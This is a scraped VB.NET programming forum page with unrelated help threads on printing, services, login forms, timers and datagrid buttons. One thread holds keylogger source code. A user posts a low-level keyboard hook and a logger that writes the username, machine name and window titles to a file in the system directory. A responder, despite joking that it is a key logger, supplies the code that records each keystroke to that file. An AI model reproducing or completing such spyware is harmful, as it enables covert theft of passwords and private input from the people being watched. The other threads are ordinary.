|
As we all know, creating a printdocument can be murder in VB.NET... however i've come to understand it.
Most of the simple reports and letters I can write the programming for with no problem. My company is now asking me if it is possible to add a collection of PDF files to the program in order to create templates for some of these reports, and have the program fill in a few fields where necessary.
How do I load a PDF into a printdocument? The research I've done so far is leading me down the path of looping though the PDF converting each page into an image while looping throught the printdocument and setting each page to that image... Any sample code would be appreciated. From there I can figure out the rest.
Thanks,
Andrew
|
|
|
|
|
Hello,
I created a windows service in VS 2005 and installer exactly according to the instructions Here
However, the service does not appear in my list of services. Has anyone ran into this? Is there a way I can start the service w/o seeing it in the list? Command line, etc?
Thanks!
"Half this game is ninety percent mental."
- Yogi Berra
If you can read thank a teacher, if you can read in English, thank a Marine.
|
|
|
|
|
Try checking the registry HKLM\SYSTEM\CurrentControlSet\Services to see if it is listed, this is where all the registered services are listed
Did you have the services mmc open when installing, this can stop it working
you can start services using - net start SERVICENAME at the command line
"If i was king cigarettes would be free."
|
|
|
|
|
|
Hi all,
I am creating a password login form but everytime I run the program, the first form that is loaded is not the login form but rather another form.
How can I firstly load the login form and wait for the correct password before I load any other form?
Thank you very much.
|
|
|
|
|
If this is VB.NEt select the PROJECT in the SOLUTION explorer and select properties.
Change the startup object in here to the form you require.
You then check the password and do
Dim oFrm as new form1
oFrm.Show
me.hide
If this is VB6 select the PROJECT in the PROJECT explorer and select properties.
Change the startup object in here to the form you require.
You then check the password and call
form1.Show
Unload me
"If i was king cigarettes would be free."
|
|
|
|
|
|
Hi guyz.Can someone pliz give me a clue on how i can convert a report int a PDF file and save it in VB 6.0.I'm kindah stuck with my project and it's really getting on my nerves
Also I have have a form that one is supposed to fill in some data then
on a click of a button a report is created reflecting what is on the form currently,i.e the program should create reports at runtime
I tried the usual way by using data environment connecting to data reports but that only creates reports based on the data on the database(old data)and not the current data (data on the form when at runtime)
Your responsibility determines your authority which in turn specifies your teritory
|
|
|
|
|
Hi,
Can u specify whether u r updating ur database after filling the form?
I think u need to refresh ur database/report before showing at runtime.
Thanx & Regards.
Success is not a Destination,
... But a Journey !!
|
|
|
|
|
I have a method that instantiates the PrintPreviewDialog class inside of a class where I inherited the PrintDocument class. When executing this print preview method I would like to override the default title bar information displayed by the print preview dialog ("Print preview") before showing the preview dialog.. An example of the code I am using the display the preview dialog is shown below. Unfortunately I do not see a text property exposed by the PrintPreviewDialog. Can anyone provide any insight on how I may be able to override the default PrintPreviewDialog title text?
Try
Dim PD As New PrintPreviewDialog()
With PD
.Document = Me ' Me is the PrintDocument object
.PrintPreviewControl.Zoom = 1.0
.WindowState = FormWindowState.Maximized
.ShowIcon = False
.ShowDialog()
End With
Catch ex As Exception
Throw
End Try
|
|
|
|
|
This is interesting, at least to me. Even though I can not see the Text or Icon properties of the PrintPreviewDialog object in intellisense, I can still get and set those properties through code. I'm not exactly sure why that is, but since that easily resolves my issue I am now a happy camper.
|
|
|
|
|
Hi friends;
i am working on this,i want get all keypress buttons and write in a txt (i already finished create txt,write in txt a date and getusername bla bla bla)my problem i want to know how can i start keyboard hook and how can i make writer key by key and how stop too(with parameters if have) i did this project before vb 6.0 but i am feeling myself like a moron with this vb.net
please help
Imports System.Runtime.InteropServices
Imports System.Reflection
Imports System.Drawing
Imports System.Threading
Module keyboard
Public Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" (ByVal idHook As Integer, _
ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Public Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
' Low-Level Keyboard Constants
Private Const HC_ACTION As Integer = 0
Private Const LLKHF_EXTENDED As Integer = &H1
Private Const LLKHF_INJECTED As Integer = &H10
Private Const LLKHF_ALTDOWN As Integer = &H20
Private Const LLKHF_UP As Integer = &H80
' Virtual Keys
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
Private Const WH_KEYBOARD_LL As Integer = 13&
Public KeyboardHandle As Integer
' Implement this function to block as many
' key combinations as you'd like
Public Function IsHooked( _
ByRef Hookstruct As KBDLLHOOKSTRUCT) As Boolean
Debug.WriteLine("Hookstruct.vkCode: " & Hookstruct.vkCode)
Debug.WriteLine(Hookstruct.vkCode = VK_ESCAPE)
Debug.WriteLine(Hookstruct.vkCode = VK_TAB)
If (Hookstruct.vkCode = VK_ESCAPE) And _
CBool(GetAsyncKeyState(VK_CONTROL) _
And &H8000) Then
Call HookedState("Ctrl + Esc blocked")
Return True
End If
If (Hookstruct.vkCode = VK_TAB) And _
CBool(Hookstruct.flags And _
LLKHF_ALTDOWN) Then
Call HookedState("Alt + Tab blockd")
Return True
End If
If (Hookstruct.vkCode = VK_ESCAPE) And _
CBool(Hookstruct.flags And _
LLKHF_ALTDOWN) Then
Call HookedState("Alt + Escape blocked")
Return True
End If
Return False
End Function
Private Sub HookedState(ByVal Text As String)
Debug.WriteLine(Text)
End Sub
Public Function KeyboardCallback(ByVal Code As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (Code = HC_ACTION) Then
Debug.WriteLine("Calling IsHooked")
If (IsHooked(lParam)) Then
Return 1
End If
End If
Return CallNextHookEx(KeyboardHandle, _
Code, wParam, lParam)
End Function
Public Delegate Function KeyboardHookDelegate( _
ByVal Code As Integer, _
ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) _
As Integer
_
Private callback As KeyboardHookDelegate
Public Sub HookKeyboard()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
KeyboardHandle = SetWindowsHookEx( _
WH_KEYBOARD_LL, callback, _
Marshal.GetHINSTANCE( _
[Assembly].GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
Call CheckHooked()
End Sub
Public Sub CheckHooked()
If (Hooked()) Then
Debug.WriteLine("Keyboard hooked")
Else
Debug.WriteLine("Keyboard hook failed: " & Err.LastDllError)
End If
End Sub
Private Function Hooked()
Hooked = KeyboardHandle <> 0
End Function
Public Sub UnhookKeyboard()
If (Hooked()) Then
Call UnhookWindowsHookEx(KeyboardHandle)
End If
End Sub
End Module
-------------------------------------------------------------------------
Imports System.IO
Imports System.Windows.Forms
Imports System.Text
Imports System
Imports System.Runtime.InteropServices
Imports System.Reflection.Assembly
Public Class Form1
Inherits System.Windows.Forms.Form
Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Integer
Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Integer) As Integer
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
Dim systemdirectory As String = (System.Environment.SystemDirectory)
Dim dosyaadi As String = (systemdirectory & "\bora.txt")
Dim computername As String = (System.Windows.Forms.SystemInformation.ComputerName.ToString)
Dim fso As New Scripting.FileSystemObject
Dim txt As Scripting.TextStream
Dim strinfo As String
Dim kullaniciadi As String = (System.Environment.UserName)
Function raporolustur()
'Sistem klasörünü bul
Dim systemdirectory As String = (System.Environment.SystemDirectory)
'Sistem klasörüne txt dosya aç
Dim dosyaadi As String = (systemdirectory & "\bora.txt")
'Açılan txt dosyaya gerekenleri yaz
txt = fso.OpenTextFile(dosyaadi, Scripting.IOMode.ForAppending, True)
'Başladığında zamanı ve tarihi yaz
txt.WriteLine(("BAŞLADİ " & Now))
Dim OBJNET As Object
OBJNET = CreateObject("WScript.NetWork")
strinfo = "Kullanici Adi: " & kullaniciadi & vbCrLf & _
"Bilgisayar Adi: " & computername & vbCrLf
txt.WriteLine(vbNewLine & strinfo)
End Function
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
raporolustur()
Timer1.Enabled = True
End Sub
Private m_LastHwnd As Integer
Private Function GetWindowTitle(ByVal window_hwnd As Integer) As String
Dim length As Integer
length = GetWindowTextLength(window_hwnd) + 1
If length <= 1 Then
Return "<<<" & window_hwnd.ToString & ">>>"
Else
Dim buf As String = Space$(length)
length = GetWindowText(window_hwnd, buf, length)
Return buf.Substring(0, length)
End If
End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim fg_hwnd As Long = GetForegroundWindow()
If m_LastHwnd = fg_hwnd Then Exit Sub
m_LastHwnd = fg_hwnd
txt.WriteLine(Text:=Now.ToString("h:mm:ss") & "<<" + GetWindowTitle(fg_hwnd) & ">>")
End Sub
End Class
|
|
|
|
|
Is this a key logger? Come on, own up. We know your sort. lol
Although saying that, it wouldn't make as much sense to write it in .net if you want to install and run behind the scenes as you would have to install the framework to most PCs.
Just not helpful is it that, sorry.
"If i was king cigarettes would be free."
|
|
|
|
|
i trying just understand how its work with vb.net i am already had this with vb 6.0
all peoples can have gun but important thing they will use this gun for what? for peace or war (i think you understand what i am telling to you)
|
|
|
|
|
Call HookKeyboard() in the form_Load event
Then in the KeyboardCallback event you need to write the value from the lParam.VKKeycode to a file as the actual character and not code.
Was that the problem?
"If i was king cigarettes would be free."
|
|
|
|
|
hmm no my friend
must i describe key by key keyboard buttons ?
or how ? really i confused
|
|
|
|
|
I changed the declaration for the text file so it is public in the module like
Public txt As IWshRuntimeLibrary.TextStream
and removed the line
Dim txt As IWshRuntimeLibrary.TextStream
from Form1
I then added this to the KeyboardCallback event inside the if block
txt.WriteLine(Chr(lParam.vkCode) & " " & lParam.vkCode)
Hey Presto!!
To remove the hook add
UnhookKeyboard()
to the form_Closing event
"If i was king cigarettes would be free."
|
|
|
|
|
thanks Purple Monk;
but with this line txt.WriteLine(Chr(lParam.vkCode) & " " & lParam.vkCode) writing two times like hheelllloo wwoorrlldd
and can i pause for writing until to create new txt file later than first txt its size like xxx kb ?
i thinked this
fileSize = FileLen(fileName) / 1000
If fileSize >= Text1.Text Then
but then i got error when i tryed close this txt file beucase getforegroundwindow is still working and hook too and still trying for write
|
|
|
|
|
Dear,
I build my project which done by vb.net and it connets to database i need to copy the project which i build on many PCs and make one as a server how can i do it .
there is app.config which i need to define the name of server ...but i dont know what else.
kilany
|
|
|
|
|
Dear,
i want to start form after spesfic time such as (10 second)but the problem i dont know how could i use this fucntion which called timer in .net
kilany
|
|
|
|
|
Set enabled property of the Timer control to True
At run time you can use
Timer1.Enabled = True
Set Interval property of the Timer to 10000 ( 10 * 1000 milliseconds )
Double click the Timer control
You can use this method to do whatever you want
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick<br />
<br />
End Sub
There are many web sites on the internet about timers
Regards,
Chatura Dilan
If at first you don't succeed, try; try again, so that you know
what not to do the next time. The answer is out there.
|
|
|
|
|
Dear ,
I need to create a button to brows the C drive and let me select file with acess or txt extension file and write their data inside them. then i need to print them inside rich text inside form in VB.net
kilany
|
|
|
|
|
also i need to an ready accountancy project :P
|
|
|
|
|
I need to add the button of a datagrid column Can anyone guide me as to how this is done.
aayush singh
|
|
|
|
|
<br />
Option Strict Off<br />
Option Explicit On <br />
<br />
Imports System<br />
Imports System.ComponentModel<br />
Imports System.Drawing<br />
Imports System.Windows.Forms<br />
<br />
Public Class DataGridButtonColumn<br />
Inherits DataGridTextBoxColumn<br />
Public Event ButtonClicked(ByVal rowNumber As Integer)<br />
Public WithEvents btn As New Button<br />
Dim xReadOnly As Boolean = False<br />
Public Property _ReadOnly() As Boolean<br />
Get<br />
Return xReadOnly<br />
End Get<br />
Set(ByVal Value As Boolean)<br />
xReadOnly = Value<br />
End Set<br />
End Property<br />
Public Sub New()<br />
Me.TextBox.Visible = False<br />
Me.TextBox.Cursor = Cursors.Hand<br />
btn.FlatStyle = FlatStyle.System<br />
btn.ForeColor = Color.Red<br />
btn.Cursor = Cursors.Hand<br />
btn.Text = "SİL"<br />
End Sub 'New<br />
Dim _rowNum As Integer<br />
<br />
Protected Overloads Overrides Sub Edit(ByVal [source] As System.Windows.Forms.CurrencyManager, ByVal rowNum As Integer, ByVal bounds As System.Drawing.Rectangle, ByVal [readOnly] As Boolean, ByVal instantText As String, ByVal cellIsVisible As Boolean)<br />
Try<br />
MyBase.Edit([source], rowNum, bounds, [readOnly], instantText, cellIsVisible)<br />
_rowNum = rowNum<br />
btn.Parent = Me.TextBox.Parent<br />
btn.Location = Me.TextBox.Location<br />
btn.Size = New Size(Me.TextBox.Size.Width, TextBox.Size.Height)<br />
btn.Text = "SİL"<br />
btn.Visible = True<br />
btn.BringToFront()<br />
btn.Focus()<br />
Catch ex As Exception<br />
Throw ex<br />
End Try<br />
End Sub 'Edit<br />
Protected Overrides Function Commit(ByVal dataSource As System.Windows.Forms.CurrencyManager, ByVal rowNum As Integer) As Boolean<br />
'btn.Visible = False<br />
Return True<br />
End Function 'Commit<br />
Private Sub btn_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btn.Click<br />
If Not xReadOnly Then<br />
RaiseEvent ButtonClicked(_rowNum)<br />
End If<br />
End Sub<br />
<br />
End Class<br />
<br />
|
|
|
|